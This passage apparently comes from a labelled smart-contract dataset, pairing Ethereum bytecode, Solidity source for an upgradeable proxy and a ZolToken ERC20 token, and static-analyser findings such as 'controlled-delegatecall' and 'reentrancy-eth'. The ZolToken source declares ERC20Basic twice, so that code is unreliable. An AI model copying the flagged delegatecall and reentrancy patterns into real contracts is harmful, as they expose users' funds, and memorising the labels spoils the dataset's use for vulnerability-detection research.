8c379a0000000000000000000000000000000000000000000000000000000008152600401612028906129dd565b60405180910390fd5b8091505092915050565b6000612045611c67565b9050600061205c828461225190919063ffffffff16565b90506120b081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fdd90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61210d82600854611f9390919063ffffffff16565b60088190555061212881600954611fdd90919063ffffffff16565b6009819055505050565b60008060008061215e6064612150888a61225190919063ffffffff16565b611c1d90919063ffffffff16565b90506000612188606461217a888b61225190919063ffffffff16565b611c1d90919063ffffffff16565b905060006121b1826121a3858c611f9390919063ffffffff16565b611f9390919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806121e1858961225190919063ffffffff16565b905060006121f8868961225190919063ffffffff16565b9050600061220f878961225190919063ffffffff16565b905060006122388261222a8587611f9390919063ffffffff16565b611f9390919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561226457600090506122c6565b600082846122729190612c7a565b90508284826122819190612c49565b146122c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122b8906129fd565b60405180910390fd5b809150505b92915050565b60006122df6122da84612b72565b612b4d565b9050808382526020820190508285602086028201111561230257612301612edd565b5b60005b858110156123325781612318888261233c565b845260208401935060208301925050600181019050612305565b5050509392505050565b60008135905061234b816131a1565b92915050565b600081519050612360816131a1565b92915050565b600082601f83011261237b5761237a612ed8565b5b813561238b8482602086016122cc565b91505092915050565b6000813590506123a3816131b8565b92915050565b6000815190506123b8816131b8565b92915050565b6000813590506123cd816131cf565b92915050565b6000815190506123e2816131cf565b92915050565b6000602082840312156123fe576123fd612ee7565b5b600061240c8482850161233c565b91505092915050565b60006020828403121561242b5761242a612ee7565b5b600061243984828501612351565b91505092915050565b6000806040838503121561245957612458612ee7565b5b60006124678582860161233c565b92505060206124788582860161233c565b9150509250929050565b60008060006060848603121561249b5761249a612ee7565b5b60006124a98682870161233c565b93505060206124ba8682870161233c565b92505060406124cb868287016123be565b9150509250925092565b600080604083850312156124ec576124eb612ee7565b5b60006124fa8582860161233c565b925050602061250b858286016123be565b9150509250929050565b60006020828403121561252b5761252a612ee7565b5b600082013567ffffffffffffffff81111561254957612548612ee2565b5b61255584828501612366565b91505092915050565b60006020828403121561257457612573612ee7565b5b600061258284828501612394565b91505092915050565b6000602082840312156125a1576125a0612ee7565b5b60006125af848285016123a9565b91505092915050565b6000806000606084860312156125d1576125d0612ee7565b5b60006125df868287016123d3565b93505060206125f0868287016123d3565b9250506040612601868287016123d3565b9150509250925092565b60006126178383612623565b60208301905092915050565b61262c81612d08565b82525050565b61263b81612d08565b82525050565b600061264c82612bae565b6126568185612bd1565b935061266183612b9e565b8060005b83811015612692578151612679888261260b565b975061268483612bc4565b925050600181019050612665565b5085935050505092915050565b6126a881612d1a565b82525050565b6126b781612d5d565b82525050565b60006126c882612bb9565b6126d28185612be2565b93506126e2818560208601612d6f565b6126eb81612eec565b840191505092915050565b6000612703602383612be2565b915061270e82612efd565b604082019050919050565b6000612726602a83612be2565b915061273182612f4c565b604082019050919050565b6000612749602283612be2565b915061275482612f9b565b604082019050919050565b600061276c601b83612be2565b915061277782612fea565b602082019050919050565b600061278f602183612be2565b915061279a82613013565b604082019050919050565b60006127b2602083612be2565b91506127bd82613062565b602082019050919050565b60006127d5602983612be2565b91506127e08261308b565b604082019050919050565b60006127f8602583612be2565b9150612803826130da565b604082019050919050565b600061281b602483612be2565b915061282682613129565b604082019050919050565b600061283e601783612be2565b915061284982613178565b602082019050919050565b61285d81612d46565b82525050565b61286c81612d50565b82525050565b60006020820190506128876000830184612632565b92915050565b60006040820190506128a26000830185612632565b6128af6020830184612632565b9392505050565b60006040820190506128cb6000830185612632565b6128d86020830184612854565b9392505050565b600060c0820190506128f46000830189612632565b6129016020830188612854565b61290e60408301876126ae565b61291b60608301866126ae565b6129286080830185612632565b61293560a0830184612854565b979650505050505050565b6000602082019050612955600083018461269f565b92915050565b6000602082019050818103600083015261297581846126bd565b905092915050565b60006020820190508181036000830152612996816126f6565b9050919050565b600060208201905081810360008301526129b681612719565b9050919050565b600060208201905081810360008301526129d68161273c565b9050919050565b600060208201905081810360008301526129f68161275f565b9050919050565b60006020820190508181036000830152612a1681612782565b9050919050565b60006020820190508181036000830152612a36816127a5565b9050919050565b60006020820190508181036000830152612a56816127c8565b9050919050565b60006020820190508181036000830152612a76816127eb565b9050919050565b60006020820190508181036000830152612a968161280e565b9050919050565b60006020820190508181036000830152612ab681612831565b9050919050565b6000602082019050612ad26000830184612854565b92915050565b600060a082019050612aed6000830188612854565b612afa60208301876126ae565b8181036040830152612b0c8186612641565b9050612b1b6060830185612632565b612b286080830184612854565b9695505050505050565b6000602082019050612b476000830184612863565b92915050565b6000612b57612b68565b9050612b638282612da2565b919050565b6000604051905090565b600067ffffffffffffffff821115612b8d57612b8c612ea9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612bfe82612d46565b9150612c0983612d46565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612c3e57612c3d612e1c565b5b828201905092915050565b6000612c5482612d46565b9150612c5f83612d46565b925082612c6f57612c6e612e4b565b5b828204905092915050565b6000612c8582612d46565b9150612c9083612d46565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612cc957612cc8612e1c565b5b828202905092915050565b6000612cdf82612d46565b9150612cea83612d46565b925082821015612cfd57612cfc612e1c565b5b828203905092915050565b6000612d1382612d26565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612d6882612d46565b9050919050565b60005b83811015612d8d578082015181840152602081019050612d72565b83811115612d9c576000848401525b50505050565b612dab82612eec565b810181811067ffffffffffffffff82111715612dca57612dc9612ea9565b5b80604052505050565b6000612dde82612d46565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612e1157612e10612e1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6131aa81612d08565b81146131b557600080fd5b50565b6131c181612d1a565b81146131cc57600080fd5b50565b6131d881612d46565b81146131e357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ec91e9a8666bd8ddb3911c1cc0ef710d7cb988bd4b4225921f63de83a9d1670464736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
4,862
0x77164825d2867cfd1de17febc970877f9368fed7
/** *Submitted for verification at Etherscan.io on 2020-09-19 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback () payable external { _fallback(); } receive () payable external { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() virtual internal view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() virtual internal; /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { if(OpenZeppelinUpgradesAddress.isContract(msg.sender) && msg.data.length == 0 && gasleft() <= 2300) // for receive ETH only from other contract return; _willFallback(); _delegate(_implementation()); } } /** * @title BaseUpgradeabilityProxy * @dev This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. */ abstract contract BaseUpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address indexed implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() override internal view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) internal { require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address"); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * @title BaseAdminUpgradeabilityProxy * @dev This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * All external functions in this contract must be guarded by the * `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity * feature proposal that would enable this to be done automatically. */ contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @return The address of the proxy admin. */ function admin() external ifAdmin returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external ifAdmin returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address"); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin { _upgradeTo(newImplementation); (bool success,) = newImplementation.delegatecall(data); require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() virtual override internal { require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin"); //super._willFallback(); } } interface IAdminUpgradeabilityProxyView { function admin() external view returns (address); function implementation() external view returns (address); } /** * @title UpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with a constructor for initializing * implementation and init data. */ abstract contract UpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract constructor. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _logic, bytes memory _data) public payable { assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } //function _willFallback() virtual override internal { //super._willFallback(); //} } /** * @title AdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with a constructor for * initializing the implementation, admin, and init data. */ contract AdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, UpgradeabilityProxy { /** * Contract constructor. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ constructor(address _admin, address _logic, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable { assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } function _willFallback() override(Proxy, BaseAdminUpgradeabilityProxy) internal { super._willFallback(); } } /** * @title InitializableUpgradeabilityProxy * @dev Extends BaseUpgradeabilityProxy with an initializer for initializing * implementation and init data. */ abstract contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy { /** * @dev Contract initializer. * @param _logic Address of the initial implementation. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)); _setImplementation(_logic); if(_data.length > 0) { (bool success,) = _logic.delegatecall(_data); require(success); } } } /** * @title InitializableAdminUpgradeabilityProxy * @dev Extends from BaseAdminUpgradeabilityProxy with an initializer for * initializing the implementation, admin, and init data. */ contract InitializableAdminUpgradeabilityProxy is BaseAdminUpgradeabilityProxy, InitializableUpgradeabilityProxy { /** * Contract initializer. * @param _logic address of the initial implementation. * @param _admin Address of the proxy administrator. * @param _data Data to send as msg.data to the implementation to initialize the proxied contract. * It should include the signature and the parameters of the function to be called, as described in * https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding. * This parameter is optional, if no data is given the initialization call to proxied contract will be skipped. */ function initialize(address _admin, address _logic, bytes memory _data) public payable { require(_implementation() == address(0)); InitializableUpgradeabilityProxy.initialize(_logic, _data); assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1)); _setAdmin(_admin); } } /** * Utility library of inline functions on addresses * * Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol * This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts * when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the * build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version. */ library OpenZeppelinUpgradesAddress { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param account address of the account to check * @return whether the target address is a contract */ function isContract(address account) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } }
0x6080604052600436106100745760003560e01c80638f2839701161004e5780638f2839701461016f578063cf7a1d77146101a2578063d1f5789414610261578063f851a4401461031757610083565b80633659cfe61461008b5780634f1ef286146100be5780635c60da1b1461013e57610083565b366100835761008161032c565b005b61008161032c565b34801561009757600080fd5b50610081600480360360208110156100ae57600080fd5b50356001600160a01b0316610371565b610081600480360360408110156100d457600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100ff57600080fd5b82018360208201111561011157600080fd5b8035906020019184600183028401116401000000008311171561013357600080fd5b5090925090506103ab565b34801561014a57600080fd5b50610153610458565b604080516001600160a01b039092168252519081900360200190f35b34801561017b57600080fd5b506100816004803603602081101561019257600080fd5b50356001600160a01b0316610495565b610081600480360360608110156101b857600080fd5b6001600160a01b0382358116926020810135909116918101906060810160408201356401000000008111156101ec57600080fd5b8201836020820111156101fe57600080fd5b8035906020019184600183028401116401000000008311171561022057600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061054f945050505050565b6100816004803603604081101561027757600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156102a257600080fd5b8201836020820111156102b457600080fd5b803590602001918460018302840111640100000000831117156102d657600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061057f945050505050565b34801561032357600080fd5b5061015361065f565b6103353361068a565b801561033f575036155b801561034d57506108fc5a11155b156103575761036f565b61035f610690565b61036f61036a6106e8565b61070d565b565b610379610731565b6001600160a01b0316336001600160a01b031614156103a05761039b81610756565b6103a8565b6103a861032c565b50565b6103b3610731565b6001600160a01b0316336001600160a01b0316141561044b576103d583610756565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d8060008114610432576040519150601f19603f3d011682016040523d82523d6000602084013e610437565b606091505b505090508061044557600080fd5b50610453565b61045361032c565b505050565b6000610462610731565b6001600160a01b0316336001600160a01b0316141561048a576104836106e8565b9050610492565b61049261032c565b90565b61049d610731565b6001600160a01b0316336001600160a01b031614156103a0576001600160a01b0381166104fb5760405162461bcd60e51b81526004018080602001828103825260368152602001806108556036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f610524610731565b604080516001600160a01b03928316815291841660208301528051918290030190a161039b81610796565b60006105596106e8565b6001600160a01b03161461056c57600080fd5b610576828261057f565b61045383610796565b60006105896106e8565b6001600160a01b03161461059c57600080fd5b6105a5826107ba565b80511561065b576000826001600160a01b0316826040518082805190602001908083835b602083106105e85780518252601f1990920191602091820191016105c9565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d8060008114610648576040519150601f19603f3d011682016040523d82523d6000602084013e61064d565b606091505b505090508061045357600080fd5b5050565b6000610669610731565b6001600160a01b0316336001600160a01b0316141561048a57610483610731565b3b151590565b610698610731565b6001600160a01b0316336001600160a01b0316141561036f5760405162461bcd60e51b81526004018080602001828103825260328152602001806108236032913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561072c573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b61075f816107ba565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6107c38161068a565b6107fe5760405162461bcd60e51b815260040180806020018281038252603b81526020018061088b603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220e6fadd51b281dac9b5e7b119f723ec2de83d894bde920065b1c6ead1d5ab100c64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}]}}
4,863
0x270CA91dB3866bd9924502A6e4De33f7a6BeaAe9
pragma solidity 0.4.24; contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address _who) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 _a, uint256 _b) internal pure returns (uint256) { // assert(_b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = _a / _b; // assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold return _a / _b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) internal balances; uint256 internal totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_value <= balances[msg.sender]); require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract ERC20 is ERC20Basic { function allowance(address _owner, address _spender) public view returns (uint256); function transferFrom(address _from, address _to, uint256 _value) public returns (bool); function approve(address _spender, uint256 _value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(_to != address(0)); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue >= oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ZolToken is StandardToken, Ownable, BurnableToken{ uint256 public totalSupply; string public name; string public symbol; uint32 public decimals; /** * @dev assign totalSupply to account creating this contract */ constructor() public { symbol = "ZOL"; name = "ZloopToken"; decimals = 6; totalSupply = 5000000000000; owner = msg.sender; balances[msg.sender] = totalSupply; emit Transfer(0x0, msg.sender, totalSupply); }}
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100e0578063095ea7b31461017057806318160ddd146101d557806323b872dd14610200578063313ce5671461028557806342966c68146102bc57806366188463146102e957806370a082311461034e578063715018a6146103a55780638da5cb5b146103bc57806395d89b4114610413578063a9059cbb146104a3578063d73dd62314610508578063dd62ed3e1461056d578063f2fde38b146105e4575b600080fd5b3480156100ec57600080fd5b506100f5610627565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013557808201518184015260208101905061011a565b50505050905090810190601f1680156101625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b3480156101e157600080fd5b506101ea6107b7565b6040518082815260200191505060405180910390f35b34801561020c57600080fd5b5061026b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107bd565b604051808215151515815260200191505060405180910390f35b34801561029157600080fd5b5061029a610b78565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b3480156102c857600080fd5b506102e76004803603810190808035906020019092919050505061